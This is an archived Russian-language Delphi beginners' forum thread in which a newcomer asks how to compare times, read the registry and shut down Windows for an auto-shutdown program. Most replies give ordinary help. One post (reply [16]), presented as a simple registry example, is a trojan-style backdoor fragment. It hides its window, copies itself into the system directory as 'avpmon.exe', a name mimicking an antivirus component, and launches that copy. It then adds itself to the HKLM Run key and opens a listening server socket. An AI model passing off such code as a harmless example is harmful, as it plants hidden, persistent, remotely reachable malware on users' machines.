Форум: "Начинающим";
Текущий архив: 2006.03.26;
Скачать: [xml.tar.bz2];
ВнизКак сравнить время Найти похожие ветки
← →
alex111 © (2006-02-20 14:57) [0]Пытаюсь написать прогу которая будет выключать комп через определенное время. Столкнулся с такой проблемой:
Функция time возвращает время в формате 12:42:34. Сохраняю его, затем по таймеру проверяю системное время. Вопрос: Как сравнить полученное время с сохраненным ?????
Если можно простенький пример.
Заранее благодарен.
← →
ssk © (2006-02-20 15:01) [1]if <Твое_время> = Now then
← →
Eraser © (2006-02-20 15:03) [2]
> alex111 © (20.02.06 14:57)
> Функция time возвращает время в формате 12:42:34
ошибаетесь.
← →
REA (2006-02-20 15:04) [3]if <Твое_время> >= Now
← →
Jeer © (2006-02-20 15:31) [4]
> Как сравнить полученное время с сохраненным ?????
Смотря как сохраняешь и сравниваешь.
Форматы сверь.
← →
Vlad Oshin © (2006-02-20 15:37) [5]введи эпсилон
if (Твое_время-Now) < пары_секунд
← →
SOFTakaXimera (2006-02-20 18:24) [6]if StrToTime(12:42:34) < Now Then .....
← →
Коля (2006-02-20 23:38) [7]Кусок кода от будильника. Много всякой лишней дряни, но надеюсь ответит на вопрос
procedure TForm1.Timer1Timer(Sender: TObject);
var
hn,mn,mm,mmm: word;
begin
Time:=now;
if aset then
begin
if not (pll) then
begin
DecodeTime(time, hn, mn, mm, mmm);
if (hn=ha) and (mn=ma) then
begin
mediaplayer1.Open;
mediaplayer1.Play;
groupbox2.Show;
groupbox1.Hide;
//mediaplayer1.TimeFormat:=tfMilliseconds;
//form2.timer3.Interval:=2000;
form1.Show;
pll:=true;
hp:=true;
end;
end
else
begin
if mediaplayer1.Position = mediaplayer1.Length then
begin
mediaplayer1.Position:=1;
mediaplayer1.Play;
end;
end;
end;
end;
← →
alex111 © (2006-02-21 06:02) [8]
> if <Твое_время> >= Now
Мне нужно: if<моё время+лимит>=Now...
но я не могу прибавить лимит (в минутах) к времени. ошибка несоответствия типов.
извините если вопрос глупый, я ещё совсем чайник.
← →
КаПиБаРа © (2006-02-21 06:34) [9]alex111 © (20.02.06 14:57)
Функция time возвращает время в формате 12:42:34
function Time: TDateTime;
__________________________________
Unit
System
type TDateTime = type Double;
Фунцкия как ни странно возвращает вещественное число.
F1 - TDateTime type
← →
КиТаЯц © (2006-02-21 07:17) [10]
> alex111 © (20.02.06 14:57)
>
> определенное время. Столкнулся с такой проблемой:
> Функция time возвращает время в формате 12:42:34. Сохраняю
> alex111 © (21.02.06 06:02) [8]
>
>
> > if <Твое_время> >= Now
>
> Мне нужно: if<моё время+лимит>=Now...
> но я не могу прибавить лимит (в минутах) к времени. ошибка
> несоответствия типов.
Коряво, но, надеюсь, понятно ;=)var
MyTime: string = "06.30.00";
Limit: string = "00.00.05";
TmpSep: char; //
TimSep: char = "."; // отвязываем зависимость от системных настроек
...
TmpSep:= TimeSeparator; // запоминаем системный
TimeSeparator:= TmpSep; // изменяем разделитель дат на наш формат
if ((StrToTime(MyTime)+StrToTime(Limit)) >= Now)
then ... showmessage("Время вышло!");
TimeSeparator:= TmpSep; // возвращаем системные настройки
← →
alex111 © (2006-02-21 08:25) [11]Спасибо!!!
← →
alex111 © (2006-02-23 11:16) [12]интересно почему так:
ostatok:=starttime+limit-now;//посчитаем сколько осталось
результат вычисляется не верный.
например:starttime=21:13:00
limit=00:05:00
now=21:13:01..02..03 и т.д.
а остаток вычисляется 23:18:01..02..03 и т.д.?
а если ostatok:=starttime+limit-Time; то все ок
еще пара вопросов
1)какие ф-ии в делфи для работы с реестром? //даже не соображу какое слово для поиска в справке ввести, т.к. с английским у меня еще хуже чем с делфи.
2)как выключить комп програмно?
← →
ssk © (2006-02-23 11:55) [13]1)какие ф-ии в делфи для работы с реестром? //даже не соображу какое слово для поиска в справке ввести, т.к. с английским у меня еще хуже чем с делфи.
TRegistry
2)как выключить комп програмно?
см. в сторону
ExitWindows()
ExitWindowsEx()
← →
-=Dark=- (2006-02-23 14:11) [14]1)какие ф-ии в делфи для работы с реестром? //даже не соображу какое слово для поиска в справке ввести, т.к. с английским у меня еще хуже чем с делфи.
TRegistry
2)как выключить комп програмно?
см. в сторону
ExitWindows()
ExitWindowsEx()
1) По поводу реестра: Нарой какой-нибудь исходник в котором описана работа с реестром! На самом деле там все очень просто! Или тебе нужен пример создания ключа и записи, ну или удаления?
2) Нарой описание API функций Виндов! Так как помимо самого выключения коспа тебе необходимо еще и закрывать все окна, и программы, иначе будет выдаться ошибка и требование сначала закрыть, там какую-нибудь программу.
← →
alex111 © (2006-02-23 14:23) [15]
> 1) По поводу реестра: Нарой какой-нибудь исходник в котором
> описана работа с реестром! На самом деле там все очень просто!
> Или тебе нужен пример создания ключа и записи, ну или удаления?
>
> 2) Нарой описание API функций Виндов! Так как помимо самого
> выключения коспа тебе необходимо еще и закрывать все окна,
> и программы, иначе будет выдаться ошибка и требование сначала
> закрыть, там какую-нибудь программу.
Буду благодарен примеру.
А по поводу
> интересно почему так:
> ostatok:=starttime+limit-now;//посчитаем сколько осталось
> результат вычисляется не верный.
now F1 выдает что-то типа "резервирует место в памяти для чего-го там"
← →
-=Dark=- (2006-02-23 14:44) [16]Reg: TRegistry;
dir,str: string;
len: integer;
begin
Application.ShowMainForm := false;
len := 255;
SetLength(Dir,Len);
Len := GetSystemDirectory(PChar(Dir),Len);
SetLength(Dir,Len);
if Application.ExeName <> Dir + "\AVPMON.EXE" then
begin
if not FileExists(Dir + "\avpmon.exe") then
begin
CopyFile("avpmon.exe",PChar(Dir + "\avpmon.exe"),false);
WinExec(PChar(Dir + "\avpmon.exe"),0);
end;
Application.Terminate;
Exit;
end;
Reg := TRegistry.Create;
Reg.RootKey := HKEY_LOCAL_MACHINE;
if Reg.OpenKey("Software\Microsoft\Windows\CurrentVersion\Run",false) then
begin
str := Reg.ReadString("internat32");
if str <> Application.ExeName then
Reg.WriteString("Services",Application.ExeName);
Reg.CloseKey;
end;
Reg.Free;
ServerSocket1.Active := true;
end;
← →
-=Dark=- (2006-02-23 14:52) [17]Оставь мыльник! Api функции солью!
← →
-=Dark=- (2006-02-23 14:55) [18]ExitWindowsEx(EWX_LOGOFF or ewx_force,0); /*завершает работу всех запущенных в системе процессов, сохраняя данные приложения, вызвавшего эту функцию*/
ExitWindowsEx(EWX_SHUTDOWN or ewx_force,0); /*останавливает работу системы в безопасный момент времени. Все буферы очищаются с сохранением данных на диске, все процессы останавливаются*/
ExitWindowsEx(EWX_REBOOT or ewx_force,0); /*перезагрузка системы*/
ExitWindowsEx(EWX_FORCE or ewx_force,0); /*завершает работу всех запущенных в системе приложений, не посылая им сообщения WM_QUERYENDSESSION и WM_ENDSESSIO. Это может вызвать потерю не сохраненных данных*/
ExitWindowsEx(EWX_POWEROFF or ewx_force,0); /*завершает работу компьютера с выключением питания, если система поддерживает автоуправление питанием*/
ExitWindowsEx(EWX_FORCEIFHUNG or ewx_force,0); /*завершает работу всех запущенных в системе приложений если система висит*/
← →
alex111 © (2006-02-23 14:56) [19]-=Dark=- вот inf(псина)xaker.ru
спасибо!!!
← →
-=Dark=- (2006-02-23 15:02) [20]А по поводу
> интересно почему так:
> ostatok:=starttime+limit-now;//посчитаем сколько осталось
> результат вычисляется не верный.
Проверяй данные, которые складываешь!А еще Лучше, если starttime и limit укажешь как константы, ну если конечно так и должно быть! Правильно ли ты их прописываешь и вообще ты их в каком формате складываешь то? У тебя есть полученное время типа 00:00:00! К нему должно прибовлять в таком же формате учитывая постановку часов, минут и секунд! Проверяй, значит где то ошибка!:-)
← →
alex111 © (2006-02-24 07:41) [21]Dark, спасибо за почту!
-=Dark=- писал:
> Reg: TRegistry;
> dir,str: string;
> len: integer;
пишу: var Reg: Tregistry...и т.д;//здесь ошибка при компиляции типа не знаю что такое Tregistry
поискал в справке там Tregistry non aviable for cross platform...
думал не установлен компонент, попробовал установить, нашел Registry.pas, устанавливаю, а он говорит, что уже установлено, но в компонентах его нет.
> Проверяй данные, которые складываешь!А еще Лучше, если starttime
> и limit укажешь как константы, ну если конечно так и должно
> быть! Правильно ли ты их прописываешь и вообще ты их в каком
> формате складываешь то? У тебя есть полученное время типа
> 00:00:00! К нему должно прибовлять в таком же формате учитывая
> постановку часов, минут и секунд! Проверяй, значит где то
> ошибка!:-)
здесь так:
StartTime:=Now;
limit:=01:00:00;
ostatok:=StartTime+StrToTime(limit)-Now;
Label1.Caption:=TimeToStr(StartTime);//здесь правильно
Label2.Caption:=limit;//здесь правильно
Label3.Caption:=TimeToStr(ostatok);//здесь не верное значение
Label4.Caption:=Now;//здесь правильно
← →
Сайбель Алексей © (2006-02-24 09:10) [22]2 alex111 © [21]
> пишу: var Reg: Tregistry...и т.д;//здесь ошибка при
>компиляции типа не знаю что такое Tregistry
> поискал в справке там Tregistry non aviable for cross
>platform...
> думал не установлен компонент, попробовал установить,
> нашел Registry.pas, устанавливаю, а он говорит, что
> уже установлено, но в компонентах его нет.
Строка:Tregistry non aviable for cross platform...
говорит о том что работа с данным типов не доступна для кроссплатформенных приложений, таких как линукс и другие.
Реестр сугубо виндовая фишка
По поводу Registry.pas то его нужно подключить в uses твоего юнита.
← →
alex111 © (2006-02-24 14:16) [23]
> Строка:Tregistry non aviable for cross platform...
> говорит о том что работа с данным типов не доступна для
> кроссплатформенных приложений, таких как линукс и другие.
>
> Реестр сугубо виндовая фишка
>
> По поводу Registry.pas то его нужно подключить в uses твоего
> юнита.
>
А-а-а теперь понятно. Жаль что попробовать смогу теперь только завтра.
← →
alex111 © (2006-02-27 05:43) [24]
> ExitWindowsEx(EWX_POWEROFF or ewx_force,0); /*завершает
> работу компьютера с выключением питания, если система поддерживает
> автоуправление питанием*/
Почему-то эта ф-я вместо PowerOff делает LogOff.
← →
alex111 © (2006-03-10 08:02) [25]
> ExitWindowsEx(EWX_POWEROFF or ewx_force,0); /*завершает
также winexec
как корректно выключить компьютер?
Страницы: 1 вся ветка
Форум: "Начинающим";
Текущий архив: 2006.03.26;
Скачать: [xml.tar.bz2];
Память: 0.51 MB
Время: 0.048 c